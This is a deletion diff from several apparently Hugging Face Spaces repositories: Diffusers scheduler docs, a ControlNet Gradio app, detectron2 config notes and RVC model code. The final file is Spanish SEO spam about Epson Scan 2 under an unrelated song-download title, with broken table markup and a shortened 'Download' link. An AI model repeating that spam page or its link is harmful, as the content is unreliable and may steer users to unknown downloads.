-<!--Copyright 2023 The HuggingFace Team. All rights reserved.
-
-Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-the License. You may obtain a copy of the License at
-
-http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
-an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-specific language governing permissions and limitations under the License.
--->
-
-# Schedulers
-
-[[open-in-colab]]
-
-Diffusion pipelines are inherently a collection of diffusion models and schedulers that are partly independent from each other. This means that one is able to switch out parts of the pipeline to better customize 
-a pipeline to one's use case. The best example of this is the [Schedulers](../api/schedulers/overview.md).
-
-Whereas diffusion models usually simply define the forward pass from noise to a less noisy sample, 
-schedulers define the whole denoising process, *i.e.*:
-- How many denoising steps?
-- Stochastic or deterministic?
-- What algorithm to use to find the denoised sample
-
-They can be quite complex and often define a trade-off between **denoising speed** and **denoising quality**.
-It is extremely difficult to measure quantitatively which scheduler works best for a given diffusion pipeline, so it is often recommended to simply try out which works best.
-
-The following paragraphs show how to do so with the 🧨 Diffusers library.
-
-## Load pipeline
-
-Let's start by loading the [`runwayml/stable-diffusion-v1-5`](https://huggingface.co/runwayml/stable-diffusion-v1-5) model in the [`DiffusionPipeline`]:
-
-```python
-from huggingface_hub import login
-from diffusers import DiffusionPipeline
-import torch
-
-login()
-
-pipeline = DiffusionPipeline.from_pretrained("runwayml/stable-diffusion-v1-5", torch_dtype=torch.float16)
-```
-
-Next, we move it to GPU:
-
-```python
-pipeline.to("cuda")
-```
-
-## Access the scheduler
-
-The scheduler is always one of the components of the pipeline and is usually called `"scheduler"`.
-So it can be accessed via the `"scheduler"` property.
-
-```python
-pipeline.scheduler
-```
-
-**Output**:
-```
-PNDMScheduler {
-  "_class_name": "PNDMScheduler",
-  "_diffusers_version": "0.8.0.dev0",
-  "beta_end": 0.012,
-  "beta_schedule": "scaled_linear",
-  "beta_start": 0.00085,
-  "clip_sample": false,
-  "num_train_timesteps": 1000,
-  "set_alpha_to_one": false,
-  "skip_prk_steps": true,
-  "steps_offset": 1,
-  "trained_betas": null
-}
-```
-
-We can see that the scheduler is of type [`PNDMScheduler`]. 
-Cool, now let's compare the scheduler in its performance to other schedulers.
-First we define a prompt on which we will test all the different schedulers:
-
-```python
-prompt = "A photograph of an astronaut riding a horse on Mars, high resolution, high definition."
-```
-
-Next, we create a generator from a random seed that will ensure that we can generate similar images as well as run the pipeline:
-
-```python
-generator = torch.Generator(device="cuda").manual_seed(8)
-image = pipeline(prompt, generator=generator).images[0]
-image
-```
-
-<p align="center">
-    <br>
-    <img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_pndm.png" width="400"/>
-    <br>
-</p>
-
-
-## Changing the scheduler
-
-Now we show how easy it is to change the scheduler of a pipeline. Every scheduler has a property [`SchedulerMixin.compatibles`] 
-which defines all compatible schedulers. You can take a look at all available, compatible schedulers for the Stable Diffusion pipeline as follows.
-
-```python
-pipeline.scheduler.compatibles
-```
-
-**Output**:
-```
-[diffusers.schedulers.scheduling_lms_discrete.LMSDiscreteScheduler,
- diffusers.schedulers.scheduling_ddim.DDIMScheduler,
- diffusers.schedulers.scheduling_dpmsolver_multistep.DPMSolverMultistepScheduler,
- diffusers.schedulers.scheduling_euler_discrete.EulerDiscreteScheduler,
- diffusers.schedulers.scheduling_pndm.PNDMScheduler,
- diffusers.schedulers.scheduling_ddpm.DDPMScheduler,
- diffusers.schedulers.scheduling_euler_ancestral_discrete.EulerAncestralDiscreteScheduler]
-```
-
-Cool, lots of schedulers to look at. Feel free to have a look at their respective class definitions: 
-
-- [`LMSDiscreteScheduler`], 
-- [`DDIMScheduler`], 
-- [`DPMSolverMultistepScheduler`], 
-- [`EulerDiscreteScheduler`], 
-- [`PNDMScheduler`], 
-- [`DDPMScheduler`], 
-- [`EulerAncestralDiscreteScheduler`].
-
-We will now compare the input prompt with all other schedulers. To change the scheduler of the pipeline you can make use of the 
-convenient [`ConfigMixin.config`] property in combination with the [`ConfigMixin.from_config`] function.
-
-```python
-pipeline.scheduler.config
-```
-
-returns a dictionary of the configuration of the scheduler:
-
-**Output**:
-```
-FrozenDict([('num_train_timesteps', 1000),
-            ('beta_start', 0.00085),
-            ('beta_end', 0.012),
-            ('beta_schedule', 'scaled_linear'),
-            ('trained_betas', None),
-            ('skip_prk_steps', True),
-            ('set_alpha_to_one', False),
-            ('steps_offset', 1),
-            ('_class_name', 'PNDMScheduler'),
-            ('_diffusers_version', '0.8.0.dev0'),
-            ('clip_sample', False)])
-```
-
-This configuration can then be used to instantiate a scheduler
-of a different class that is compatible with the pipeline. Here, 
-we change the scheduler to the [`DDIMScheduler`].
-
-```python
-from diffusers import DDIMScheduler
-
-pipeline.scheduler = DDIMScheduler.from_config(pipeline.scheduler.config)
-```
-
-Cool, now we can run the pipeline again to compare the generation quality.
-
-```python
-generator = torch.Generator(device="cuda").manual_seed(8)
-image = pipeline(prompt, generator=generator).images[0]
-image
-```
-
-<p align="center">
-    <br>
-    <img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_ddim.png" width="400"/>
-    <br>
-</p>
-
-If you are a JAX/Flax user, please check [this section](#changing-the-scheduler-in-flax) instead.
-
-## Compare schedulers
-
-So far we have tried running the stable diffusion pipeline with two schedulers: [`PNDMScheduler`] and [`DDIMScheduler`]. 
-A number of better schedulers have been released that can be run with much fewer steps, let's compare them here:
-
-[`LMSDiscreteScheduler`] usually leads to better results:
-
-```python
-from diffusers import LMSDiscreteScheduler
-
-pipeline.scheduler = LMSDiscreteScheduler.from_config(pipeline.scheduler.config)
-
-generator = torch.Generator(device="cuda").manual_seed(8)
-image = pipeline(prompt, generator=generator).images[0]
-image
-```
-
-<p align="center">
-    <br>
-    <img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_lms.png" width="400"/>
-    <br>
-</p>
-
-
-[`EulerDiscreteScheduler`] and [`EulerAncestralDiscreteScheduler`] can generate high quality results with as little as 30 steps.
-
-```python
-from diffusers import EulerDiscreteScheduler
-
-pipeline.scheduler = EulerDiscreteScheduler.from_config(pipeline.scheduler.config)
-
-generator = torch.Generator(device="cuda").manual_seed(8)
-image = pipeline(prompt, generator=generator, num_inference_steps=30).images[0]
-image
-```
-
-<p align="center">
-    <br>
-    <img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_euler_discrete.png" width="400"/>
-    <br>
-</p>
-
-
-and:
-
-```python
-from diffusers import EulerAncestralDiscreteScheduler
-
-pipeline.scheduler = EulerAncestralDiscreteScheduler.from_config(pipeline.scheduler.config)
-
-generator = torch.Generator(device="cuda").manual_seed(8)
-image = pipeline(prompt, generator=generator, num_inference_steps=30).images[0]
-image
-```
-
-<p align="center">
-    <br>
-    <img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_euler_ancestral.png" width="400"/>
-    <br>
-</p>
-
-
-At the time of writing this doc [`DPMSolverMultistepScheduler`] gives arguably the best speed/quality trade-off and can be run with as little 
-as 20 steps.
-
-```python
-from diffusers import DPMSolverMultistepScheduler
-
-pipeline.scheduler = DPMSolverMultistepScheduler.from_config(pipeline.scheduler.config)
-
-generator = torch.Generator(device="cuda").manual_seed(8)
-image = pipeline(prompt, generator=generator, num_inference_steps=20).images[0]
-image
-```
-
-<p align="center">
-    <br>
-    <img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_dpm.png" width="400"/>
-    <br>
-</p>
-
-As you can see most images look very similar and are arguably of very similar quality. It often really depends on the specific use case which scheduler to choose. A good approach is always to run multiple different
-schedulers to compare results.
-
-## Changing the Scheduler in Flax
-
-If you are a JAX/Flax user, you can also change the default pipeline scheduler. This is a complete example of how to run inference using the Flax Stable Diffusion pipeline and the super-fast [DDPM-Solver++ scheduler](../api/schedulers/multistep_dpm_solver):
-
-```Python
-import jax
-import numpy as np
-from flax.jax_utils import replicate
-from flax.training.common_utils import shard
-
-from diffusers import FlaxStableDiffusionPipeline, FlaxDPMSolverMultistepScheduler
-
-model_id = "runwayml/stable-diffusion-v1-5"
-scheduler, scheduler_state = FlaxDPMSolverMultistepScheduler.from_pretrained(
-    model_id,
-    subfolder="scheduler"
-)
-pipeline, params = FlaxStableDiffusionPipeline.from_pretrained(
-    model_id,
-    scheduler=scheduler,
-    revision="bf16",
-    dtype=jax.numpy.bfloat16,
-)
-params["scheduler"] = scheduler_state
-
-# Generate 1 image per parallel device (8 on TPUv2-8 or TPUv3-8)
-prompt = "a photo of an astronaut riding a horse on mars"
-num_samples = jax.device_count()
-prompt_ids = pipeline.prepare_inputs([prompt] * num_samples)
-
-prng_seed = jax.random.PRNGKey(0)
-num_inference_steps = 25
-
-# shard inputs and rng
-params = replicate(params)
-prng_seed = jax.random.split(prng_seed, jax.device_count())
-prompt_ids = shard(prompt_ids)
-
-images = pipeline(prompt_ids, params, prng_seed, num_inference_steps, jit=True).images
-images = pipeline.numpy_to_pil(np.asarray(images.reshape((num_samples,) + images.shape[-3:])))
-```
-
-<Tip warning={true}>
-
-The following Flax schedulers are _not yet compatible_ with the Flax Stable Diffusion Pipeline:
-
-- `FlaxLMSDiscreteScheduler`
-- `FlaxDDPMScheduler`
-
-</Tip>

spaces/Anonymous-sub/Rerender/ControlNet/gradio_seg2image.py

@@ -1,97 +0,0 @@
-from share import *
-import config
-
-import cv2
-import einops
-import gradio as gr
-import numpy as np
-import torch
-import random
-
-from pytorch_lightning import seed_everything
-from annotator.util import resize_image, HWC3
-from annotator.uniformer import UniformerDetector
-from cldm.model import create_model, load_state_dict
-from cldm.ddim_hacked import DDIMSampler
-
-
-apply_uniformer = UniformerDetector()
-
-model = create_model('./models/cldm_v15.yaml').cpu()
-model.load_state_dict(load_state_dict('./models/control_sd15_seg.pth', location='cuda'))
-model = model.cuda()
-ddim_sampler = DDIMSampler(model)
-
-
-def process(input_image, prompt, a_prompt, n_prompt, num_samples, image_resolution, detect_resolution, ddim_steps, guess_mode, strength, scale, seed, eta):
-    with torch.no_grad():
-        input_image = HWC3(input_image)
-        detected_map = apply_uniformer(resize_image(input_image, detect_resolution))
-        img = resize_image(input_image, image_resolution)
-        H, W, C = img.shape
-
-        detected_map = cv2.resize(detected_map, (W, H), interpolation=cv2.INTER_NEAREST)
-
-        control = torch.from_numpy(detected_map.copy()).float().cuda() / 255.0
-        control = torch.stack([control for _ in range(num_samples)], dim=0)
-        control = einops.rearrange(control, 'b h w c -> b c h w').clone()
-
-        if seed == -1:
-            seed = random.randint(0, 65535)
-        seed_everything(seed)
-
-        if config.save_memory:
-            model.low_vram_shift(is_diffusing=False)
-
-        cond = {"c_concat": [control], "c_crossattn": [model.get_learned_conditioning([prompt + ', ' + a_prompt] * num_samples)]}
-        un_cond = {"c_concat": None if guess_mode else [control], "c_crossattn": [model.get_learned_conditioning([n_prompt] * num_samples)]}
-        shape = (4, H // 8, W // 8)
-
-        if config.save_memory:
-            model.low_vram_shift(is_diffusing=True)
-
-        model.control_scales = [strength * (0.825 ** float(12 - i)) for i in range(13)] if guess_mode else ([strength] * 13)  # Magic number. IDK why. Perhaps because 0.825**12<0.01 but 0.826**12>0.01
-        samples, intermediates = ddim_sampler.sample(ddim_steps, num_samples,
-                                                     shape, cond, verbose=False, eta=eta,
-                                                     unconditional_guidance_scale=scale,
-                                                     unconditional_conditioning=un_cond)
-
-        if config.save_memory:
-            model.low_vram_shift(is_diffusing=False)
-
-        x_samples = model.decode_first_stage(samples)
-        x_samples = (einops.rearrange(x_samples, 'b c h w -> b h w c') * 127.5 + 127.5).cpu().numpy().clip(0, 255).astype(np.uint8)
-
-        results = [x_samples[i] for i in range(num_samples)]
-    return [detected_map] + results
-
-
-block = gr.Blocks().queue()
-with block:
-    with gr.Row():
-        gr.Markdown("## Control Stable Diffusion with Segmentation Maps")
-    with gr.Row():
-        with gr.Column():
-            input_image = gr.Image(source='upload', type="numpy")
-            prompt = gr.Textbox(label="Prompt")
-            run_button = gr.Button(label="Run")
-            with gr.Accordion("Advanced options", open=False):
-                num_samples = gr.Slider(label="Images", minimum=1, maximum=12, value=1, step=1)
-                image_resolution = gr.Slider(label="Image Resolution", minimum=256, maximum=768, value=512, step=64)
-                strength = gr.Slider(label="Control Strength", minimum=0.0, maximum=2.0, value=1.0, step=0.01)
-                guess_mode = gr.Checkbox(label='Guess Mode', value=False)
-                detect_resolution = gr.Slider(label="Segmentation Resolution", minimum=128, maximum=1024, value=512, step=1)
-                ddim_steps = gr.Slider(label="Steps", minimum=1, maximum=100, value=20, step=1)
-                scale = gr.Slider(label="Guidance Scale", minimum=0.1, maximum=30.0, value=9.0, step=0.1)
-                seed = gr.Slider(label="Seed", minimum=-1, maximum=2147483647, step=1, randomize=True)
-                eta = gr.Number(label="eta (DDIM)", value=0.0)
-                a_prompt = gr.Textbox(label="Added Prompt", value='best quality, extremely detailed')
-                n_prompt = gr.Textbox(label="Negative Prompt",
-                                      value='longbody, lowres, bad anatomy, bad hands, missing fingers, extra digit, fewer digits, cropped, worst quality, low quality')
-        with gr.Column():
-            result_gallery = gr.Gallery(label='Output', show_label=False, elem_id="gallery").style(grid=2, height='auto')
-    ips = [input_image, prompt, a_prompt, n_prompt, num_samples, image_resolution, detect_resolution, ddim_steps, guess_mode, strength, scale, seed, eta]
-    run_button.click(fn=process, inputs=ips, outputs=[result_gallery])
-
-
-block.launch(server_name='0.0.0.0')

spaces/Arnx/MusicGenXvAKN/tests/data/__init__.py

@@ -1,5 +0,0 @@
-# Copyright (c) Meta Platforms, Inc. and affiliates.
-# All rights reserved.
-#
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.

spaces/Awiny/Image2Paragraph/models/grit_src/third_party/CenterNet2/docs/tutorials/configs.md

@@ -1,62 +0,0 @@
-# Yacs Configs
-
-Detectron2 provides a key-value based config system that can be
-used to obtain standard, common behaviors.
-
-This system uses YAML and [yacs](https://github.com/rbgirshick/yacs).
-Yaml is a very limited language,
-so we do not expect all features in detectron2 to be available through configs.
-If you need something that's not available in the config space,
-please write code using detectron2's API.
-
-With the introduction of a more powerful [LazyConfig system](lazyconfigs.md),
-we no longer add functionality / new keys to the Yacs/Yaml-based config system.
-
-### Basic Usage
-
-Some basic usage of the `CfgNode` object is shown here. See more in [documentation](../modules/config.html#detectron2.config.CfgNode).
-```python
-from detectron2.config import get_cfg
-cfg = get_cfg()    # obtain detectron2's default config
-cfg.xxx = yyy      # add new configs for your own custom components
-cfg.merge_from_file("my_cfg.yaml")   # load values from a file
-
-cfg.merge_from_list(["MODEL.WEIGHTS", "weights.pth"])   # can also load values from a list of str
-print(cfg.dump())  # print formatted configs
-with open("output.yaml", "w") as f:
-  f.write(cfg.dump())   # save config to file
-```
-
-In addition to the basic Yaml syntax, the config file can
-define a `_BASE_: base.yaml` field, which will load a base config file first.
-Values in the base config will be overwritten in sub-configs, if there are any conflicts.
-We provided several base configs for standard model architectures.
-
-Many builtin tools in detectron2 accept command line config overwrite:
-Key-value pairs provided in the command line will overwrite the existing values in the config file.
-For example, [demo.py](../../demo/demo.py) can be used with
-```
-./demo.py --config-file config.yaml [--other-options] \
-  --opts MODEL.WEIGHTS /path/to/weights INPUT.MIN_SIZE_TEST 1000
-```
-
-To see a list of available configs in detectron2 and what they mean,
-check [Config References](../modules/config.html#config-references)
-
-### Configs in Projects
-
-A project that lives outside the detectron2 library may define its own configs, which will need to be added
-for the project to be functional, e.g.:
-```python
-from detectron2.projects.point_rend import add_pointrend_config
-cfg = get_cfg()    # obtain detectron2's default config
-add_pointrend_config(cfg)  # add pointrend's default config
-# ... ...
-```
-
-### Best Practice with Configs
-
-1. Treat the configs you write as "code": avoid copying them or duplicating them; use `_BASE_`
-   to share common parts between configs.
-
-2. Keep the configs you write simple: don't include keys that do not affect the experimental setting.

spaces/Bart92/RVC_HF/infer/lib/infer_pack/transforms.py

@@ -1,207 +0,0 @@
-import numpy as np
-import torch
-from torch.nn import functional as F
-
-DEFAULT_MIN_BIN_WIDTH = 1e-3
-DEFAULT_MIN_BIN_HEIGHT = 1e-3
-DEFAULT_MIN_DERIVATIVE = 1e-3
-
-
-def piecewise_rational_quadratic_transform(
-    inputs,
-    unnormalized_widths,
-    unnormalized_heights,
-    unnormalized_derivatives,
-    inverse=False,
-    tails=None,
-    tail_bound=1.0,
-    min_bin_width=DEFAULT_MIN_BIN_WIDTH,
-    min_bin_height=DEFAULT_MIN_BIN_HEIGHT,
-    min_derivative=DEFAULT_MIN_DERIVATIVE,
-):
-    if tails is None:
-        spline_fn = rational_quadratic_spline
-        spline_kwargs = {}
-    else:
-        spline_fn = unconstrained_rational_quadratic_spline
-        spline_kwargs = {"tails": tails, "tail_bound": tail_bound}
-
-    outputs, logabsdet = spline_fn(
-        inputs=inputs,
-        unnormalized_widths=unnormalized_widths,
-        unnormalized_heights=unnormalized_heights,
-        unnormalized_derivatives=unnormalized_derivatives,
-        inverse=inverse,
-        min_bin_width=min_bin_width,
-        min_bin_height=min_bin_height,
-        min_derivative=min_derivative,
-        **spline_kwargs
-    )
-    return outputs, logabsdet
-
-
-def searchsorted(bin_locations, inputs, eps=1e-6):
-    bin_locations[..., -1] += eps
-    return torch.sum(inputs[..., None] >= bin_locations, dim=-1) - 1
-
-
-def unconstrained_rational_quadratic_spline(
-    inputs,
-    unnormalized_widths,
-    unnormalized_heights,
-    unnormalized_derivatives,
-    inverse=False,
-    tails="linear",
-    tail_bound=1.0,
-    min_bin_width=DEFAULT_MIN_BIN_WIDTH,
-    min_bin_height=DEFAULT_MIN_BIN_HEIGHT,
-    min_derivative=DEFAULT_MIN_DERIVATIVE,
-):
-    inside_interval_mask = (inputs >= -tail_bound) & (inputs <= tail_bound)
-    outside_interval_mask = ~inside_interval_mask
-
-    outputs = torch.zeros_like(inputs)
-    logabsdet = torch.zeros_like(inputs)
-
-    if tails == "linear":
-        unnormalized_derivatives = F.pad(unnormalized_derivatives, pad=(1, 1))
-        constant = np.log(np.exp(1 - min_derivative) - 1)
-        unnormalized_derivatives[..., 0] = constant
-        unnormalized_derivatives[..., -1] = constant
-
-        outputs[outside_interval_mask] = inputs[outside_interval_mask]
-        logabsdet[outside_interval_mask] = 0
-    else:
-        raise RuntimeError("{} tails are not implemented.".format(tails))
-
-    (
-        outputs[inside_interval_mask],
-        logabsdet[inside_interval_mask],
-    ) = rational_quadratic_spline(
-        inputs=inputs[inside_interval_mask],
-        unnormalized_widths=unnormalized_widths[inside_interval_mask, :],
-        unnormalized_heights=unnormalized_heights[inside_interval_mask, :],
-        unnormalized_derivatives=unnormalized_derivatives[inside_interval_mask, :],
-        inverse=inverse,
-        left=-tail_bound,
-        right=tail_bound,
-        bottom=-tail_bound,
-        top=tail_bound,
-        min_bin_width=min_bin_width,
-        min_bin_height=min_bin_height,
-        min_derivative=min_derivative,
-    )
-
-    return outputs, logabsdet
-
-
-def rational_quadratic_spline(
-    inputs,
-    unnormalized_widths,
-    unnormalized_heights,
-    unnormalized_derivatives,
-    inverse=False,
-    left=0.0,
-    right=1.0,
-    bottom=0.0,
-    top=1.0,
-    min_bin_width=DEFAULT_MIN_BIN_WIDTH,
-    min_bin_height=DEFAULT_MIN_BIN_HEIGHT,
-    min_derivative=DEFAULT_MIN_DERIVATIVE,
-):
-    if torch.min(inputs) < left or torch.max(inputs) > right:
-        raise ValueError("Input to a transform is not within its domain")
-
-    num_bins = unnormalized_widths.shape[-1]
-
-    if min_bin_width * num_bins > 1.0:
-        raise ValueError("Minimal bin width too large for the number of bins")
-    if min_bin_height * num_bins > 1.0:
-        raise ValueError("Minimal bin height too large for the number of bins")
-
-    widths = F.softmax(unnormalized_widths, dim=-1)
-    widths = min_bin_width + (1 - min_bin_width * num_bins) * widths
-    cumwidths = torch.cumsum(widths, dim=-1)
-    cumwidths = F.pad(cumwidths, pad=(1, 0), mode="constant", value=0.0)
-    cumwidths = (right - left) * cumwidths + left
-    cumwidths[..., 0] = left
-    cumwidths[..., -1] = right
-    widths = cumwidths[..., 1:] - cumwidths[..., :-1]
-
-    derivatives = min_derivative + F.softplus(unnormalized_derivatives)
-
-    heights = F.softmax(unnormalized_heights, dim=-1)
-    heights = min_bin_height + (1 - min_bin_height * num_bins) * heights
-    cumheights = torch.cumsum(heights, dim=-1)
-    cumheights = F.pad(cumheights, pad=(1, 0), mode="constant", value=0.0)
-    cumheights = (top - bottom) * cumheights + bottom
-    cumheights[..., 0] = bottom
-    cumheights[..., -1] = top
-    heights = cumheights[..., 1:] - cumheights[..., :-1]
-
-    if inverse:
-        bin_idx = searchsorted(cumheights, inputs)[..., None]
-    else:
-        bin_idx = searchsorted(cumwidths, inputs)[..., None]
-
-    input_cumwidths = cumwidths.gather(-1, bin_idx)[..., 0]
-    input_bin_widths = widths.gather(-1, bin_idx)[..., 0]
-
-    input_cumheights = cumheights.gather(-1, bin_idx)[..., 0]
-    delta = heights / widths
-    input_delta = delta.gather(-1, bin_idx)[..., 0]
-
-    input_derivatives = derivatives.gather(-1, bin_idx)[..., 0]
-    input_derivatives_plus_one = derivatives[..., 1:].gather(-1, bin_idx)[..., 0]
-
-    input_heights = heights.gather(-1, bin_idx)[..., 0]
-
-    if inverse:
-        a = (inputs - input_cumheights) * (
-            input_derivatives + input_derivatives_plus_one - 2 * input_delta
-        ) + input_heights * (input_delta - input_derivatives)
-        b = input_heights * input_derivatives - (inputs - input_cumheights) * (
-            input_derivatives + input_derivatives_plus_one - 2 * input_delta
-        )
-        c = -input_delta * (inputs - input_cumheights)
-
-        discriminant = b.pow(2) - 4 * a * c
-        assert (discriminant >= 0).all()
-
-        root = (2 * c) / (-b - torch.sqrt(discriminant))
-        outputs = root * input_bin_widths + input_cumwidths
-
-        theta_one_minus_theta = root * (1 - root)
-        denominator = input_delta + (
-            (input_derivatives + input_derivatives_plus_one - 2 * input_delta)
-            * theta_one_minus_theta
-        )
-        derivative_numerator = input_delta.pow(2) * (
-            input_derivatives_plus_one * root.pow(2)
-            + 2 * input_delta * theta_one_minus_theta
-            + input_derivatives * (1 - root).pow(2)
-        )
-        logabsdet = torch.log(derivative_numerator) - 2 * torch.log(denominator)
-
-        return outputs, -logabsdet
-    else:
-        theta = (inputs - input_cumwidths) / input_bin_widths
-        theta_one_minus_theta = theta * (1 - theta)
-
-        numerator = input_heights * (
-            input_delta * theta.pow(2) + input_derivatives * theta_one_minus_theta
-        )
-        denominator = input_delta + (
-            (input_derivatives + input_derivatives_plus_one - 2 * input_delta)
-            * theta_one_minus_theta
-        )
-        outputs = input_cumheights + numerator / denominator
-
-        derivative_numerator = input_delta.pow(2) * (
-            input_derivatives_plus_one * theta.pow(2)
-            + 2 * input_delta * theta_one_minus_theta
-            + input_derivatives * (1 - theta).pow(2)
-        )
-        logabsdet = torch.log(derivative_numerator) - 2 * torch.log(denominator)
-
-        return outputs, logabsdet

spaces/Bart92/RVC_HF/lib/uvr5_pack/lib_v5/layers_123821KB.py

@@ -1,118 +0,0 @@
-import torch
-from torch import nn
-import torch.nn.functional as F
-
-from . import spec_utils
-
-
-class Conv2DBNActiv(nn.Module):
-    def __init__(self, nin, nout, ksize=3, stride=1, pad=1, dilation=1, activ=nn.ReLU):
-        super(Conv2DBNActiv, self).__init__()
-        self.conv = nn.Sequential(
-            nn.Conv2d(
-                nin,
-                nout,
-                kernel_size=ksize,
-                stride=stride,
-                padding=pad,
-                dilation=dilation,
-                bias=False,
-            ),
-            nn.BatchNorm2d(nout),
-            activ(),
-        )
-
-    def __call__(self, x):
-        return self.conv(x)
-
-
-class SeperableConv2DBNActiv(nn.Module):
-    def __init__(self, nin, nout, ksize=3, stride=1, pad=1, dilation=1, activ=nn.ReLU):
-        super(SeperableConv2DBNActiv, self).__init__()
-        self.conv = nn.Sequential(
-            nn.Conv2d(
-                nin,
-                nin,
-                kernel_size=ksize,
-                stride=stride,
-                padding=pad,
-                dilation=dilation,
-                groups=nin,
-                bias=False,
-            ),
-            nn.Conv2d(nin, nout, kernel_size=1, bias=False),
-            nn.BatchNorm2d(nout),
-            activ(),
-        )
-
-    def __call__(self, x):
-        return self.conv(x)
-
-
-class Encoder(nn.Module):
-    def __init__(self, nin, nout, ksize=3, stride=1, pad=1, activ=nn.LeakyReLU):
-        super(Encoder, self).__init__()
-        self.conv1 = Conv2DBNActiv(nin, nout, ksize, 1, pad, activ=activ)
-        self.conv2 = Conv2DBNActiv(nout, nout, ksize, stride, pad, activ=activ)
-
-    def __call__(self, x):
-        skip = self.conv1(x)
-        h = self.conv2(skip)
-
-        return h, skip
-
-
-class Decoder(nn.Module):
-    def __init__(
-        self, nin, nout, ksize=3, stride=1, pad=1, activ=nn.ReLU, dropout=False
-    ):
-        super(Decoder, self).__init__()
-        self.conv = Conv2DBNActiv(nin, nout, ksize, 1, pad, activ=activ)
-        self.dropout = nn.Dropout2d(0.1) if dropout else None
-
-    def __call__(self, x, skip=None):
-        x = F.interpolate(x, scale_factor=2, mode="bilinear", align_corners=True)
-        if skip is not None:
-            skip = spec_utils.crop_center(skip, x)
-            x = torch.cat([x, skip], dim=1)
-        h = self.conv(x)
-
-        if self.dropout is not None:
-            h = self.dropout(h)
-
-        return h
-
-
-class ASPPModule(nn.Module):
-    def __init__(self, nin, nout, dilations=(4, 8, 16), activ=nn.ReLU):
-        super(ASPPModule, self).__init__()
-        self.conv1 = nn.Sequential(
-            nn.AdaptiveAvgPool2d((1, None)),
-            Conv2DBNActiv(nin, nin, 1, 1, 0, activ=activ),
-        )
-        self.conv2 = Conv2DBNActiv(nin, nin, 1, 1, 0, activ=activ)
-        self.conv3 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[0], dilations[0], activ=activ
-        )
-        self.conv4 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[1], dilations[1], activ=activ
-        )
-        self.conv5 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[2], dilations[2], activ=activ
-        )
-        self.bottleneck = nn.Sequential(
-            Conv2DBNActiv(nin * 5, nout, 1, 1, 0, activ=activ), nn.Dropout2d(0.1)
-        )
-
-    def forward(self, x):
-        _, _, h, w = x.size()
-        feat1 = F.interpolate(
-            self.conv1(x), size=(h, w), mode="bilinear", align_corners=True
-        )
-        feat2 = self.conv2(x)
-        feat3 = self.conv3(x)
-        feat4 = self.conv4(x)
-        feat5 = self.conv5(x)
-        out = torch.cat((feat1, feat2, feat3, feat4, feat5), dim=1)
-        bottle = self.bottleneck(out)
-        return bottle

spaces/Benson/text-generation/Examples/Descargar 2 4 Cancin.md

@@ -1,73 +0,0 @@
-<br />
-<h1>Cómo descargar y usar Epson Scan 2 L3150</h1>
-<p>Si tiene una impresora Epson L3150, puede utilizar el software Epson Scan 2 para escanear sus documentos o fotos. Epson Scan 2 es un programa de escaneo que te permite acceder a funciones de escaneo básicas y avanzadas. Puede escanear su original y guardar la imagen escaneada en varios formatos de archivo, o abrirla en su programa de escaneo. También puede previsualizar la imagen escaneada y seleccionar o cambiar la configuración según sea necesario. </p>
-<p>En este artículo, le mostraremos qué es Epson Scan 2 L3150, cómo descargarlo y cómo usarlo. Siga los pasos a continuación para comenzar. </p>
-<h2>descargar 2 4 canción</h2><br /><p><b><b>Download</b> &ndash;&ndash;&ndash; <a href="https://bltlly.com/2v6JfA">https://bltlly.com/2v6JfA</a></b></p><br /><br />
- <h2>¿Qué es Epson Scan 2 L3150? </h2>
-<p>Epson Scan 2 L3150 es un software que viene con la impresora Epson L3150. La Epson L3150 es una impresora todo en uno que ofrece impresión inalámbrica, escaneo y copia. Tiene un diseño compacto y un sistema de depósito de tinta integrado que reduce los costos de impresión. También soporta Wi-Fi Direct, que te permite imprimir desde tu smartphone o tablet sin router. </p>
- <h3>Características y beneficios de Epson Scan 2 L3150</h3>
-<p>Algunas de las características y beneficios de Epson Scan 2 L3150 son:</p>
-<ul>
-<li> Admite varios modos de escaneo, como el modo de documento, modo de foto, modo automático, modo profesional y modo de inicio. </li>
-<li> Le permite ajustar el tipo de imagen, resolución, rotación, sesgo del documento, gestión del color, opciones de miniaturas y otros ajustes. </li>
-<li>Le permite guardar su archivo escaneado en diferentes formatos, como JPEG, TIFF, PDF, PNG, BMP, PICT, GIF, PSD, SVG, PCX, RAS, ICO, CUR.</li>
-<li>Le permite crear una nueva carpeta o seleccionar una carpeta existente para guardar su archivo escaneado. </li>
-<li> Ofrece una ventana de vista previa donde puede ver los resultados de su análisis antes de guardarlo o compartirlo. </li>
-</ul>
- <h3>Compatibilidad y requisitos de Epson Scan 2 L3150</h3>
-
-<p>Los requisitos mínimos del sistema para usar Epson Scan 2 L3150 son:</p>
-<tabla>
-<tr><th>Sistema operativo</th><th>Procesador</th><th>Memoria</th><th><th>Espacio del disco duro</th></tr>
-<tr><td>Windows XP SP3 o posterior (32-bit)</td><td>Pentium III o superior</td><td>512 MB</td><td>450 MB</td></tr>
-<tr><td>Windows Vista SP1 o posterior (32/64-bit)</td><td>Pentium III o superior</td><td><512 MB</td><><td>450 MB</td></tr>
-<tr><td>Windows 7 SP1 o posterior (32/64-bit)</td><td>Pentium III o superior</td><td>512 MB</td><td>450 MB</td></tr>
-<tr><td <td>Windows 8/8.1 (32/64-bit)</td><td>Pentium III o superior</td><td><td>512 MB</td><td><450 MB</td></tr>
-<tr><td>Windows 10 (32/64-bit)</td><td>Pentium III o superior</td><td><td>512 MB</td><td>450 MB</td></tr>
-<tr><td>Mac OS X 10.6.8 o posterior</td><td><td>Intel Core Duo o superior</td><td>1 GB</td><td>450 MB</td></tr>
-</tabla>
- <h2>¿Cómo descargar Epson Scan 2 L3150? </h2>
